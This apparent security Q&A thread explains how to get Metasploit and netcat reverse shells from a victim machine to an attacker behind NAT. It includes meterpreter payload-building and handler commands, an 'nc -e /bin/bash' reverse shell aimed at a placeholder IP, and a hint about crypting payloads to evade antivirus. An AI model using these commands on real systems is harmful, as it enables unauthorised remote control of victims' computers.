1

msfconsole is a cool opensource pentesting tool from metasploit.

Once the exploit is valid, we can set payload to the victim. For persistent connection, we may need meterpreter.

But we often test security in Virtual Machines running msfconsole.

Without public IP, can the victim PC bind back to our local server in VMs?

Some suggestions?

  • Most pen test firms have a server outside the firewall for this purpose. – paj28 Aug 12 '16 at 10:28
2

Knowing you're using Metasploit is a good sign, just pointing that out.

First, you need to create a payload by doing the following:

 msfpayload windows/metepreter/reverse_tcp LHOST="your local IP without quotations" LPORT="any specified port you operate on" X > filenamehere.exe

Next, follow these steps in order by number when typing into the terminal:

1. msfconsole

2. use exploit/multi/handler

3. set PAYLOAD windows/meterpreter/reverse_tcp

4. set LHOST "ip you used when creating the payload in the first step without quotations"

5. set LPORT "port you used when creating the payload in the first step without quotations"

6. exploit

After you type exploit, and if followed correctly, you will get a message in the terminal like this:

[*] Started reverse handler on "IP Address"
[*] Starting the payload handler...

Now, with the payload you created in the first step, you want to run it on the machine you're classing as the "victim". Of course, this won't work if you have antivirus because it (the payload) hasn't been crypted by a crypter or coded with junk code to hide the payload. Once you run the payload on the victim computer, you'll get a meterpreter session within your terminal.

When you're in the meterpreter session, the first thing you need to do is migrate to explorer.exe and you can do this by typing the following into your terminal:

ps (shows the current running processes on the computer with a number ID on the left of it)

migrate (id of explorer.exe)

Have fun with your meterpreter session.

Without public IP, can the victim PC bind back to our local server in VMs?

This is possible, but that depends. If your VM machine IP is local on your computer, usually it will assign itself to a 198 IP. That's what always happens with me anyway, so that is rendered useless to the 'victim' since it is a local IP. If you don't encrypt your TCP connection via VPN as such and the victim has the correct knowledge let's say, he can view his connection logs, see his ingoing and outgoing connections, and your connections aren't encrypted and your public IP is in plain view, he may be able to DOX or achieve information with whatever method he/she knows.

Hope that helps.

2

As far as I know you can configure your VM so that the guest OS shares the physical network interface with the host. In that case if you start

nc -nlvp 8080

the listener is also listening towards the outside world. That should do the trick.

1

bind shell: this allows you to set a port to listen to on your local connection for incoming ports e.g. nc -nvlp 8080 -e /bin/bash ... this should open up a connection to a bash environment once a remote machine connects to its network IP address.

Reverse shell: set up a bind shell on your OWN machine without the -e /bin/bash ... and then run nc -nv YOUR.IP.ADDR.HERE 8080 -e /bin/bash on the victum machine.

it sounds like one of your connections is behind a NAT? and thus no IP? if this is true then you need to set up the nc -nvlp 8080 on what ever location has an ip address you can work with.

I know you said metasploit but this is a good way of explaining and understanding the differences of connection.

so with metasploit you can try a reverse_tcp or a bind_tcp payload

  • Yes. In this scenario the connection is behind NAT. So would nc -nvlp 8080 only work in a VPS (public IP) environment? – dotslash Aug 12 '16 at 16:50
  • as long as one person has a public IP then you should be fine, the only issue is selecting the right port, if a nat is involved you might have a hard time choosing the right port...remember not all ports will work, anything with a firewall will most likely DROP all ports but the ones it desires ---- the nc -nvlp 8080 has to be set on the network with a public IP – TheHidden Aug 13 '16 at 12:40
  • so if you are using metasploit, use a reverse tcp if the target victim is behind a nat....and try to work out the ports you have access to...a port scan might give you an idea but a NAT could redirect the traffic to other machines / services ...be fearful of the trickery – TheHidden Aug 13 '16 at 13:00

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.